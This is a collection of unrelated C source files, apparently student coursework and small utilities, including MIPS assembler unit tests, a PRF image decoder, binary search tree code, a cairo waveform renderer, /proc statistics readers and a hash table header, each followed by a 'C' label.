buf[10]; for (int i = 0; i < max; i++) { sprintf(buf, "%d", i); retval = add_to_table(tbl, buf, 4 * i); CU_ASSERT_EQUAL(retval, 0); } for (int i = 0; i < max; i++) { sprintf(buf, "%d", i); retval = get_addr_for_symbol(tbl, buf); CU_ASSERT_EQUAL(retval, 4 * i); } free_table(tbl); } /**************************************** * Test cases for translate.c ****************************************/ void compare_written_instruction_to(char* str) { char line[32]; FILE* test = fopen("test", "r"); fgets(line, sizeof(line), test); CU_ASSERT(strncmp(line, str, 8) == 0); fclose(test); } void test_translate_1() { // test rtype and sll instruction translations char *name; int res; FILE *test; char* args[3] = {"$s0", "$a0", "$t0"}; name = "addu"; size_t num_args = 3; uint32_t addr = 0; SymbolTable *symtbl = NULL; SymbolTable *reltbl = NULL; test = fopen("test", "w"); res = translate_inst(test, name, args, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); compare_written_instruction_to("00888021"); /***********************/ name = "sll"; test = fopen("test", "w"); res = translate_inst(test, name, args, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args[2] = "16"; res = translate_inst(test, name, args, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); compare_written_instruction_to("00048400"); /***********************/ name = "jr"; test = fopen("test", "w"); res = translate_inst(test, name, args, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); num_args = 1; res = translate_inst(test, name, args, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); compare_written_instruction_to("02000008"); } void test_translate_2() { // test itype and offset based instruction translations char *name; int res; FILE *test; size_t num_args = 0; uint32_t addr = 0; SymbolTable *symtbl = NULL; SymbolTable *reltbl = NULL; /***********************/ name = "addiu"; num_args = 1; char *args_addiu[3] = {"$s0", "$a0", "$t0"}; test = fopen("test", "w"); res = translate_inst(test, name, args_addiu, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); num_args = 3; res = translate_inst(test, name, args_addiu, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_addiu[2] = "-100"; num_args = 3; res = translate_inst(test, name, args_addiu, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); compare_written_instruction_to("2490ff9c"); /***********************/ name = "ori"; num_args = 1; char *args_ori[3] = {"$s0", "$a0", "$t0"}; test = fopen("test", "w"); res = translate_inst(test, name, args_ori, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); num_args = 3; args_ori[2] = "-100"; res = translate_inst(test, name, args_ori, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_ori[2] = "100"; num_args = 3; res = translate_inst(test, name, args_ori, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); compare_written_instruction_to("34900064"); /***********************/ name = "lui"; num_args = 2; char *args_lui[3] = {"$s0", "$a0", "$t0"}; test = fopen("test", "w"); res = translate_inst(test, name, args_lui, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_lui[1] = "-100"; res = translate_inst(test, name, args_lui, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_lui[1] = "100"; res = translate_inst(test, name, args_lui, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); compare_written_instruction_to("3c100064"); /***********************/ name = "lb"; num_args = 3; char *args_lb[3] = {"$s0", "$t0", "$a0"}; test = fopen("test", "w"); res = translate_inst(test, name, args_lb, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_lb[1] = "65536"; res = translate_inst(test, name, args_lb, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_lb[1] = "-100"; res = translate_inst(test, name, args_lb, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); compare_written_instruction_to("8090ff9c"); /***********************/ name = "lbu"; num_args = 3; char *args_lbu[3] = {"$s0", "$t0", "$a0"}; test = fopen("test", "w"); res = translate_inst(test, name, args_lbu, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_lbu[1] = "65536"; res = translate_inst(test, name, args_lbu, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_lbu[1] = "-100"; res = translate_inst(test, name, args_lbu, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); compare_written_instruction_to("9090ff9c"); /***********************/ name = "lw"; num_args = 3; char *args_lw[3] = {"$s0", "$t0", "$a0"}; test = fopen("test", "w"); res = translate_inst(test, name, args_lw, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_lw[1] = "65536"; res = translate_inst(test, name, args_lw, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_lw[1] = "-100"; res = translate_inst(test, name, args_lw, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); compare_written_instruction_to("8c90ff9c"); /***********************/ name = "sb"; num_args = 3; char *args_sb[3] = {"$s0", "$t0", "$a0"}; test = fopen("test", "w"); res = translate_inst(test, name, args_sb, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_sb[1] = "-65536"; res = translate_inst(test, name, args_sb, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_sb[1] = "100"; res = translate_inst(test, name, args_sb, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); compare_written_instruction_to("a0900064"); /***********************/ name = "sw"; num_args = 3; char *args_sw[3] = {"$s0", "$t0", "$a0"}; test = fopen("test", "w"); res = translate_inst(test, name, args_sw, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_sw[1] = "-65536"; res = translate_inst(test, name, args_sw, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_sw[1] = "-100"; res = translate_inst(test, name, args_sw, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); compare_written_instruction_to("ac90ff9c"); } void test_translate_3() { // test branch and jump instruction translations char *name; int res; FILE *test; size_t num_args = 0; uint32_t addr = 0; SymbolTable *symtbl = NULL; SymbolTable *reltbl = NULL; /***********************/ name = "beq"; addr = 0; symtbl = create_table(SYMTBL_UNIQUE_NAME); add_to_table(symtbl, "fib", 0x00400024); num_args = 3; char *args_beq[3] = {"$s0", "$a0", "$a0"}; test = fopen("test", "w"); res = translate_inst(test, name, args_beq, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_beq[2] = "fib"; res = translate_inst(test, name, args_beq, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); addr = 0x00400004; res = translate_inst(test, name, args_beq, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); free_table(symtbl); compare_written_instruction_to("12040007"); /***********************/ name = "bne"; addr = 0; symtbl = create_table(SYMTBL_UNIQUE_NAME); add_to_table(symtbl, "fib", 0x00400024); num_args = 3; char *args_bne[3] = {"$s0", "$a0", "$a0"}; test = fopen("test", "w"); res = translate_inst(test, name, args_bne, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); args_bne[2] = "fib"; res = translate_inst(test, name, args_bne, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); addr = 0x00400004; res = translate_inst(test, name, args_bne, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); fclose(test); free_table(symtbl); compare_written_instruction_to("16040007"); /***********************/ name = "jal"; addr = 0; reltbl = create_table(SYMTBL_UNIQUE_NAME); num_args = 3; char *args_jal[3] = {"fib", "$a0", "$a0"}; test = fopen("test", "w"); res = translate_inst(test, name, args_jal, num_args, addr, symtbl, reltbl); CU_ASSERT_EQUAL(res, -1); num_args = 1; addr = 0x00400004; res = translate_inst(test, name, args_jal, num_args, addr, symtbl, reltbl); CU_ASSERT_NOT_EQUAL(res, -1); CU_ASSERT_EQUAL(get_addr_for_symbol(reltbl, args_jal[0]), addr); fclose(test); free_table(reltbl); compare_written_instruction_to("0c000000"); } void test_translate_4() { // test branch and jump instruction translations char *name; int res; FILE *test; size_t num_args = 0; /***********************/ name = "li"; num_args = 2; char *args_li[3] = {"$s0", "4294967296"}; test = fopen("test", "w"); res = write_pass_one(test, name, args_li, num_args); CU_ASSERT_EQUAL(res, 0); args_li[1] = "2147483647"; res = write_pass_one(test, name, args_li, num_args); CU_ASSERT_EQUAL(res, 2); fclose(test); compare_written_instruction_to("lui $at 00007fff"); test = fopen("test", "w"); args_li[1] = "-100"; res = write_pass_one(test, name, args_li, num_args); CU_ASSERT_EQUAL(res, 1); fclose(test); compare_written_instruction_to("addiu $s0 $0 -100"); /***********************/ name = "blt"; num_args = 2; char *args_blt[3] = {"$s0", "$a0", "fib"}; test = fopen("test", "w"); res = write_pass_one(test, name, args_blt, num_args); CU_ASSERT_EQUAL(res, 0); num_args = 3; res = write_pass_one(test, name, args_blt, num_args); CU_ASSERT_EQUAL(res, 2); fclose(test); compare_written_instruction_to("slt $at $s0 $a0"); } /**************************************** * Add your test cases here ****************************************/ int main(int argc, char** argv) { CU_pSuite pSuite1 = NULL, pSuite2 = NULL, pSuite3 = NULL, pSuite4 = NULL ; if (CUE_SUCCESS != CU_initialize_registry()) { return CU_get_error(); } /* Suite 1 */ pSuite1 = CU_add_suite("Testing translate_utils.c", NULL, NULL); if (!pSuite1) { goto exit; } if (!CU_add_test(pSuite1, "test_translate_reg", test_translate_reg)) { goto exit; } if (!CU_add_test(pSuite1, "test_translate_num", test_translate_num)) { goto exit; } /* Suite 2 */ pSuite2 = CU_add_suite("Testing tables.c", init_log_file, NULL); if (!pSuite2) { goto exit; } if (!CU_add_test(pSuite2, "test_table_1", test_table_1)) { goto exit; } if (!CU_add_test(pSuite2, "test_table_2", test_table_2)) { goto exit; } pSuite3 = CU_add_suite("Testing translate.c", NULL, NULL); if (!pSuite3) { goto exit; } if (!CU_add_test(pSuite3, "test_translate_1", test_translate_1)) { goto exit; } if (!CU_add_test(pSuite3, "test_translate_2", test_translate_2)) { goto exit; } if (!CU_add_test(pSuite3, "test_translate_3", test_translate_3)) { goto exit; } pSuite4 = CU_add_suite("Testing psedoinstructions in translate.c", NULL, NULL); if (!pSuite3) { goto exit; } if (!CU_add_test(pSuite4, "test_translate_4", test_translate_4)) { goto exit; } CU_basic_set_mode(CU_BRM_VERBOSE); CU_basic_run_tests(); exit: CU_cleanup_registry(); return CU_get_error();; }
C
#include <assert.h> #include <la_boolean.h> #include <la_character.h> #include "lib.h" void showHelp() { printf ( "\n" ); printf ( "Usage %s [-f FILE] [-n NAME] [-t TYPE]\n", PRG_NAME ); printf ( "Creates source code to read the given properties file.\n" ); printf ( "\n" ); printf ( "Help Options:\n" ); printf ( "\t-h\t\t\tShow help options\n" ); printf ( "\t-v\t\t\tDisplays the current verion\n" ); printf ( "\t-r\t\t\tread only\n" ); printf ( "\t-d\t\t\tshow debug information\n" ); printf ( "\t-f <file>\t\tProperties file which is the source\n" ); printf ( "\t-n <name>\t\tName of the class and its files\n" ); printf ( "\t-t <type>\t\tType of output\n\t\t\t\tC, Cpp, Perl (default is C)\n" ); printf ( "\n" ); printf ( "Report %s bugs to [email protected]\n", PRG_NAME ); printf ( "Software home page: http://software.laukien.com\n" ); printf ( "\n" ); } void showVersion() { printf ("%s v.%s (%s)\n", PRG_NAME, PRG_VERSION, __DATE__ ); printf ("(c) 2012-2013 by %s\n", PRG_AUTHOR); printf ( "License BSDv2: Simplified BSD License <http://opensource.org/licenses/BSD-2-Clause>\n" ); printf ( "This is free software: you are free to change and redistribute it.\n" ); printf ( "There is NO WARRANTY, to the extent permitted by law.\n" ); } char *key2Alpha(const char *key) { char *res = strdup(key); int i; for (i = 0; i < strlen(res); ++i) { if (!i && isdigit(res[i])) { res[i]='_'; continue; } if (!isalnum(res[i])) res[i] = '_'; } return res; } char *key2Upper(const char *key) { char *res = strdup(key); res[0] = toupper(res[0]); return res; } char *key2Function(const char *key) { unsigned int len = strlen(key); char *res = (char *)malloc(len - character_count(key, '_') + 1); unsigned int i; unsigned int j; BOOL isUpper = TRUE; j = 0; for (i = 0; i < len; ++i) { if (key[i] == '_') { isUpper = TRUE; continue; } if (isUpper) { isUpper = FALSE; res[j] = toupper(key[i]); } else res[j] = key[i]; ++j; } res[j] = '\0'; return res; } char *correctValue(const char *value) { size_t len = strlen(value); int count = 0; count += character_count(value, '\\'); count += character_count(value, '"'); char *res = (char *)malloc(len + count + 1); int i; int j = 0; for (i = 0; i < len; ++i) { if (value[i] == '\\') res[j++] = '\\'; else if (value[i] == '"') res[j++] = '\\'; res[j++] = value[i]; } res[j] = '\0'; return res; }
C
/* Written by Brian Raiter, January 2001. Placed in the public domain. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "gen.h" #include "prf.h" static fileinfo *file; static imageinfo *image; static uchar *imagebuf; /* * decoding functions */ static int bitsin(int nbits, uchar *val) { int bit; *val = 0; for (bit = 1 << (nbits - 1) ; bit ; bit >>= 1) { if (file->bitcount++ & 7) file->byte <<= 1; else if ((file->byte = fgetc(file->fp)) == EOF) return fileerr(file); if (file->byte & 0x80) *val |= bit; } return TRUE; } static int decodesquare(int ypos, int xpos, int size, int cb, uchar pixel) { static int const bitsize[] = { 0, 1, 2, 2, 3, 3, 3, 3, 4 }; uchar *square; uchar *sq; uchar byte; uchar count; int y, n; if (file->type == prf) if (ypos >= image->height || xpos >= image->width) return TRUE; square = imagebuf + (ypos % squaresize) * image->width + xpos; if (size == 1) { byte = 0; if (cb) if (!bitsin(cb, &byte)) return FALSE; *square = pixel | byte; return TRUE; } if (!bitsin(bitsize[cb], &count)) return FALSE; cb -= count; if (count) { if (!bitsin(count, &byte)) return FALSE; pixel |= byte << cb; } if (!cb) { n = image->width - xpos; if (n > size) n = size; y = image->height - ypos; if (y > size) y = size; for (sq = square ; y ; --y, sq += image->width) memset(sq, pixel, n); return TRUE; } n = size >> 1; return decodesquare(ypos, xpos, n, cb, pixel) && decodesquare(ypos, xpos + n, n, cb, pixel) && decodesquare(ypos + n, xpos, n, cb, pixel) && decodesquare(ypos + n, xpos + n, n, cb, pixel); } /* * exported functions */ int readprfrow(fileinfo *f, imageinfo *i) { int x, z; if (i->ypos >= i->height) return 0; file = f; image = i; for (z = 0 ; z < image->planes ; ++z) { imagebuf = image->buf[z]; for (x = 0 ; x < image->width ; x += squaresize) if (!decodesquare(image->ypos, x, squaresize, image->bits, 0)) return -1; } return 1; } int readprfheader(fileinfo *f, imageinfo *i) { uchar buf[13]; int n, z; if (fread(buf, 13, 1, f->fp) != 1) return fileerr(f); if (buf[0] == 'M') f->type = mrf; else if (buf[0] == 'P') f->type = prf; else return err("invalid prf signature"); if (buf[1] != 'R' || buf[2] != 'F' || buf[3] != '1') return err("invalid prf signature"); i->width = (buf[4] << 24) | (buf[5] << 16) | (buf[6] << 8) | buf[7]; i->height = (buf[8] << 24) | (buf[9] << 16) | (buf[10] << 8) | buf[11]; i->bits = (buf[12] & 31) + 1; i->planes = ((buf[12] >> 5) & 7) + 1; if (i->width <= 0 || i->height <= 0) return err("invalid prf image size"); if (i->bits > 8) return err("prf pixel size incompatible with compressed pnm"); if (i->planes != 1 && i->planes != 3) return err("prf plane count incompatible with pnm"); n = i->width * squaresize; if (!(i->buf[0] = calloc(n, i->planes))) return err(NULL); for (z = 1 ; z < i->planes ; ++z) i->buf[z] = i->buf[z - 1] + n; i->ypos = 0; return TRUE; }
C
Position Find( BinTree BST, ElementType X ) { if (!BST) return NULL; if (X > BST->Data) { return Find(BST->Right, X); } if (X < BST->Data) { return Find(BST->Left, X); } if (X == BST->Data) { return BST; } } Position FindMin( BinTree BST ) { if (!BST) return NULL; if (!BST->Left) return BST; if (BST->Left) return FindMin(BST->Left); } Position FindMax( BinTree BST ) { if (!BST) return NULL; if (!BST->Right) return BST; if (BST->Right) return FindMax(BST->Right); } BinTree Insert( BinTree BST, ElementType X ) { if (!BST) { BST = (BinTree)malloc(sizeof(struct TNode)); BST->Data = X; BST->Left = NULL; BST->Right = NULL; } else { if (X < BST->Data) { BST->Left = Insert(BST->Left, X); } else if (X > BST->Data) { BST->Right = Insert(BST->Right, X); } } return BST; } BinTree Delete( BinTree BST, ElementType X ) { Position Tmp; if (!BST) { printf("Not Found\n"); // ** } else { if (X<BST->Data) { BST->Left = Delete(BST->Left, X); } else if (X > BST->Data) { BST->Right = Delete(BST->Right, X); } else { if (BST->Left && BST->Right) { Tmp = FindMin(BST->Right); BST->Data = Tmp->Data; BST->Right = Delete(BST->Right, Tmp->Data); } else { Tmp = BST; if (BST->Left) { BST = BST->Left; } else if (BST->Right) { BST = BST->Right; } else { BST = NULL; } free(Tmp); } } } return BST; }
C
/*-------------------------------------------------------------------- L1_1.CܣĻʾһ仰"Hello!" -------------------------------------------------------------------*/ #include <stdio.h> /* ͷļ */ int main() /* */ { printf("Hello,Dong!\n"); /* Ļ"Hello"Ƶһ*/ return 0; }
C
#include <stdio.h> Custo_Carro(float custo){ custo+=(custo*0.28)+(custo*0.45); printf("Com os impostos o carro custara ao consumidor :%.2lf reais", custo); } int main(void){ float custo_Carro; printf("\nDigite valor do carro na fabrica:"); scanf("%f",&custo_Carro); Custo_Carro(custo_Carro); }
C
#include "stdio.h" // sonuclar sayi olarak geliyorsa // 0, eof olarak okunacaktir. macHesapla( char * ); //mac hesaplarinin aldigi ilk indis //sonuclar kumesinin asil eleman sayisidir int main(void) { char sonuclar[] = {10, 2, 1, 0, 0, 2, 1, 1, 2, 1, 0}; printf( "%d",macHesapla( sonuclar ) ); return 0; } // eger gecer puanlari varsa 1, yoksa 0 doner int macHesapla( char *sonuc ) { int toplam = 0, bitis = *sonuc ; for(sonuc++ ; bitis > 0 ; sonuc++, bitis-- ) if( ( *sonuc ) == 1 ) toplam+=3; else if( ( *sonuc ) == 0 ) toplam+=1; return (toplam > 11) ? 1 : 0 ; }
C
#include <cairo/cairo.h> #include <sndfile.h> #define WIDTH 200 #define HEIGHT 150 #define BUFFER_LEN 2048 #define MAX_CHANNELS 6 void hex2float(int color, float *colorSpace); void set_color(cairo_t *cr, int color); int main (int argc, char *argv[]) { char *filename, *outname; if(argc != 3){ printf("Syntax: draw_waveform in.wav out.png\n"); return 0; }else{ filename = argv[1]; outname = argv[2]; } cairo_surface_t *surface; cairo_t *cr; int inset = 15; surface = cairo_image_surface_create (CAIRO_FORMAT_ARGB32, WIDTH, HEIGHT); cr = cairo_create (surface); /* Examples are in 1.0 x 1.0 coordinate space */ int color_1 = 0x1a2421; /* Dark Jungle Green*/ int color_2 = 0x8cbed6; /* Dark Sky Blue*/ int color_3 = 0xffbcd9; /* Bubblegum Pink*/ /* Drawing code goes here */ /* Font Configuration */ cairo_font_extents_t fe; cairo_text_extents_t te; cairo_set_font_size(cr, 10); cairo_select_font_face (cr, "Georgia", CAIRO_FONT_SLANT_NORMAL, CAIRO_FONT_WEIGHT_NORMAL); cairo_font_extents (cr, &fe); cairo_set_line_width (cr, 1); set_color(cr, color_1); cairo_paint(cr); static double data [BUFFER_LEN] ; SNDFILE *infile; SF_INFO sfinfo ; if (! (infile = sf_open (filename, SFM_READ, &sfinfo))) { printf ("Not able to open input file %s.\n", filename) ; puts (sf_strerror (NULL)) ; return 1 ; } ; if (sfinfo.channels != 1) { printf ("Not able to process more than %d channels\n", MAX_CHANNELS) ; return 1 ; } ; sf_read_double (infile, data, BUFFER_LEN); float zero = (HEIGHT/2) - 0.5; float amp = (HEIGHT - 2 * inset) * -0.5 * 0.8; int skip = 2048.0 / (WIDTH - 2 * inset); int i; set_color (cr, color_3); cairo_move_to (cr, inset, zero); //cairo_line_to (cr, WIDTH - inset, HEIGHT - inset - 2); for(i = 0; i < (WIDTH - 2 * inset); i++) cairo_line_to (cr, inset + i, zero + data[i * skip] * amp); cairo_stroke (cr); /* set frame */ set_color(cr, color_2); cairo_rectangle (cr, inset - 0.5, inset - 0.5, WIDTH - 2 * inset, HEIGHT - 2 * inset); cairo_stroke (cr); /*write text */ cairo_move_to (cr, inset, HEIGHT - 5); cairo_show_text (cr, filename); cairo_stroke (cr); /* Write output and clean up */ sf_close (infile) ; cairo_surface_write_to_png (surface, outname); cairo_destroy (cr); cairo_surface_destroy (surface); return 0; } void hex2float(int color, float *colorSpace) { int r = color >> 0x10; int g = color - (r << 0x10) >> 0x8; int b = color - ((r << 0x10) + (g << 0x8)); *(colorSpace) = r/255.0; *(colorSpace + 1) = g/255.0; *(colorSpace + 2) = b/255.0; } void set_color(cairo_t *cr, int color) { float cs[3]; hex2float(color, cs); cairo_set_source_rgb (cr, cs[0], cs[1], cs[2]); }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "inc/ArrayList.h" #include "inc/utn.h" #include "inc/mensaje.h" #include "inc/usuario.h" /** \brief Espacio en memoria para un usuario. * * \param - * \param - * \return Puntero a User. * */ Post* new_Post() { Post* this; this = (Post*)malloc(sizeof(Post)); return this; } /** \brief Lee el txt con el listado de personas y carga dicha estructura. * * \param Lista donde se encuentra la estructura. * \param Estructura con datos a mostrar. * \return [-1]=> Error / NULL. || [0]=> Si se ley en el txt satisfactoriamente. * */ int cargarMensajes(ArrayList* this) { int retorno = 0, flag=0; FILE* f; Post* post; char idPost[100]; char idUser[100]; char popularidadAux[100]; char textMensaje[3048]; if((f = fopen("files\\mensajes.csv", "r"))==NULL) { retorno = -1; } else { rewind(f); while(!(feof(f))) { post=new_Post(); if(post!=NULL) { if(flag==0) { fscanf(f,"%[^,],%[^,],%[^,],%[^\n]\n", idPost, idUser, popularidadAux, textMensaje); flag=1; } else { fscanf(f,"%[^,],%[^,],%[^,],%[^\n]\n", idPost, idUser, popularidadAux, textMensaje); post->id_usuario = atoi(idUser); post->id_mensaje = atoi(idPost); post->popularidad = atoi(popularidadAux); strcpy(post->mensaje, textMensaje); al_add(this, post); //printf("%d--%d--%d--%s\n\n",post->id_mensaje, post->id_usuario, post->popularidad, post->mensaje); } } } } fclose(f); return retorno; } /** \brief Imprime en pantalla la estructura Post * * \param Puntero a Post. * \param - * \return void. * */ void list_printMensaje(Post* post) { printf("%d--%d--%d--\n%s\n\n",post->id_mensaje, post->id_usuario, post->popularidad, post->mensaje); }
C
/*///////////////////////////////////////////////////////////////////////////////////////////////////////////*/ /*///////////////////////////////////////IMPORTACION DE LIBRERIAS////////////////////////////////////////////*/ #include <stdio.h> #include <string.h> #include <stdlib.h> #define BUFFSIZE 256 /*///////////////////////////////////////////////////////////////////////////////////////////////////////////*/ /*///////////////////////////////////////////////////////////////////////////////////////////////////////////*/ /*///////////////////////////////////////////////////////////////////////////////////////////////////////////*/ /*//////////////////////////////////////////////PROTOTIPOS///////////////////////////////////////////////////*/ void MostrarParteD(int a, int b); void NumDePetADisco(); void CantDememoria(); void PromedioCarga(); void sleep(int a); /*///////////////////////////////////////////////////////////////////////////////////////////////////////////*/ /*///////////////////////////////////////////////////////////////////////////////////////////////////////////*/ /*///////////////////////////////////////////////////////////////////////////////////////////////////////////*/ /*////////////////////////////////////////IMPLEMENTACION DE FUNCIONES////////////////////////////////////////*/ /*////////////////////////////////////////////////FUNCION 1//////////////////////////////////////////////////*/ void MostrarParteD(int a, int b) { int j; printf("\n/////////////////////////PARTE D////////////////////////////\n"); if((a>=b) || (a==0) || (b==0)) { printf("LOS PARAMETROS DE DURACION DE INTERVALOS SON INCORRECTOS\n"); } else { b = b/a; for(j=0; j<b; j++) { NumDePetADisco(); CantDememoria(); PromedioCarga(); printf("[PAUSA DE %i SEGUNDOS]\n\n",a); sleep(a); } } printf("////////////////////////////////////////////////////////////\n"); } /*///////////////////////////////////////////////////////////////////////////////////////////////////////////*/ /*////////////////////////////////////////////////FUNCION 2//////////////////////////////////////////////////*/ void NumDePetADisco() { FILE *f = NULL; char buffer[BUFFSIZE+1]; char *match = NULL; size_t bytesLeidos; char dato[BUFFSIZE+1]; int i; f = fopen("/proc/diskstats","r"); if(f == NULL) { printf("NO SE HA PODIDIO ENCONTRAR EL ARCHIVO \n"); } else { for(i=0; i<4; i++) { bytesLeidos = fread(buffer,1,sizeof(buffer),f); } if(bytesLeidos == 0) { printf("FALLO LECTURA \n"); } else { buffer[bytesLeidos] = '\0'; match = strstr(buffer, "sda"); if(match==NULL) { printf("FALLO BUSQUEDA DE LINEA \n"); } else { sscanf(match, "sda %s",dato); printf("NUMERO DE PETICIONES A DISCO REALIZADAS: %s\n",dato); } } } fclose(f); } /*///////////////////////////////////////////////////////////////////////////////////////////////////////////*/ /*////////////////////////////////////////////////FUNCION 3//////////////////////////////////////////////////*/ void CantDememoria() { FILE *f = NULL; char buffer[BUFFSIZE+1]; char *match = NULL; size_t bytesLeidos; char dato1[BUFFSIZE+1]; char dato2[BUFFSIZE+1]; f = fopen("/proc/meminfo","r"); if(f == NULL) { printf("NO SE HA PODIDIO ENCONTRAR EL ARCHIVO \n"); } else { bytesLeidos = fread(buffer,1,sizeof(buffer),f); if(bytesLeidos == 0) { printf("FALLO LECTURA \n"); } else { buffer[bytesLeidos] = '\0'; match = strstr(buffer, "MemTotal:"); if(match==NULL) { printf("FALLO BUSQUEDA DE LINEA \n"); } else { sscanf(match, "MemTotal: %s",dato1); } match = strstr(buffer, "MemFree:"); if(match==NULL) { printf("FALLO BUSQUEDA DE LINEA \n"); } else { sscanf(match, "MemFree: %s",dato2); } printf("MEMORIA TOTAL: %s kB\nMEMORIA LIBRE: %s kB\n",dato1,dato2); } } fclose(f); } /*///////////////////////////////////////////////////////////////////////////////////////////////////////////*/ /*////////////////////////////////////////////////FUNCION 4//////////////////////////////////////////////////*/ void PromedioCarga() { FILE *f = NULL; char buffer[BUFFSIZE+1]; f = fopen("/proc/loadavg","r"); if(f == NULL) { printf("NO SE HA PODIDIO ENCONTRAR EL ARCHIVO \n"); } else { fscanf(f,"%s",buffer); printf("PROMEDIO DE CARGA EN EL ULTIMO MINUTO: %s\n",buffer); } fclose(f); } /*///////////////////////////////////////////////////////////////////////////////////////////////////////////*/ /*///////////////////////////////////////////////////////////////////////////////////////////////////////////*/
C
#include <stdio.h> #include "mesinkata.h" const Kata filetes = {" teskata.txt",11}; const Kata satu = {" katasama",8}; const Kata beda = {" katabeda",8}; const Kata sama = {" katasama",8}; const Kata bilangan = {" 123456",6}; const Kata nonbilangan = {" 1as23a",6}; const Kata katanull ={" ",0}; int main(){ printf("nama file : "); PrintKata(filetes); puts("\ntes baca file!"); STARTKATA(true, filetes); while(!EndKata){ PrintKata(CKata); puts(""); ADVKATA(true); } puts("tes baca file selesai"); puts("tes baca input dari terminal"); puts("masukkan input dalam satu line"); CKata.Length = 0; STARTKATA(false, katanull); while(CKata.Length>0){ printf("hasi> "); PrintKata(CKata); puts(""); if(CC!='\n') ADVKATA(false); else CKata.Length = 0; } printf("isi kata1 : "); PrintKata(satu); printf("\nisi kata2 : "); PrintKata(sama); printf("\nisi kata3 : "); PrintKata(beda); printf("\nhasi dari fungsi IsKataSama dari kata1 dan kata2 : %d", IsKataSama(satu, sama)); printf("\nhasi dari fungsi IsKataSama dari kata1 dan kata3 : %d\n", IsKataSama(satu, beda)); printf("isi kata4 : "); PrintKata(bilangan); printf("\nisi kata5 : "); PrintKata(nonbilangan); printf("\nhasi dari fungsi IsBilangan dari kata4 : %d", IsBilangan(bilangan)); printf("\nhasi dari fungsi IsBilangan dari kata5 : %d\n", IsBilangan(nonbilangan)); printf("\nhasi dari fungsi KatatoBilangan + 1 dari kata4 : %d\n", KatatoBilangan(bilangan)+1); return 0; }
C
#include<stdio.h> #include<string.h> struct date1 { int day,month,year; }d1,d2; int check_date(struct date1 d); int main() { int x,y; printf("enter first date in format dd\mm\yy:"); scanf("%d %d %d",&d1.day,&d1.month,&d1.year); printf("\n date is %d/%d/%d",d1.day,d1.month,d1.year); printf("\n enter second date in formate dd\mm\yy"); scanf("%d %d %d",&d2.day,&d2.month,&d2.year); printf("\n date is %d/%d/%d",d2.day,d2.month,d2.year); x=check_date(d1); y=check_date(d2); if(x==0) { printf("\n first date is invalid"); } else { printf("\n first date is valid"); } if(y==0) { printf("\n second date is invalid"); } else { printf("\n second date is valid"); } if(d1.day==d2.day||d1.month==d2.month||d1.year==d2.year) { printf("\n both date are eqaul"); } else { printf("\n both date are not equal"); } printf("\n it is created by pmh 18ce031 \n "); return 0; } int check_date(struct date1 d) { if(d.day>=1||d.day<=31&&d.month>=1||d.month<=12&&d.year>=1000||d.year<=9999) { return 1; } else { return 0; } }
C
#ifndef OHTBL_H #define OHTBL_H #include <stdlib.h> typedef struct OHTbl_ { int nPositions; void *vacated; int(*hash1)(const void *key); int(*hash2)(const void *key); int(*match)(const void *key1, const void *key2); void(*destory)(void *data); int nSize; void **table; }OHTbl; int OhtblInit(OHTbl *htbl, int Positions, int(*hash1)(const void *key), int(*hash2)(const void *key), int(*match)(const void *key1, const void *key2), void(*destory)(void *data)); void OhtblDestory(OHTbl *htbl); int OhtblInsert(OHTbl *htbl, const void *data); int OhtblRemove(OHTbl *htbl, void **data); int OhtblLookup(const OHTbl *htbl, void **data); #define OhtblSize(htbl) ((htbl)->nSize) #endif
C
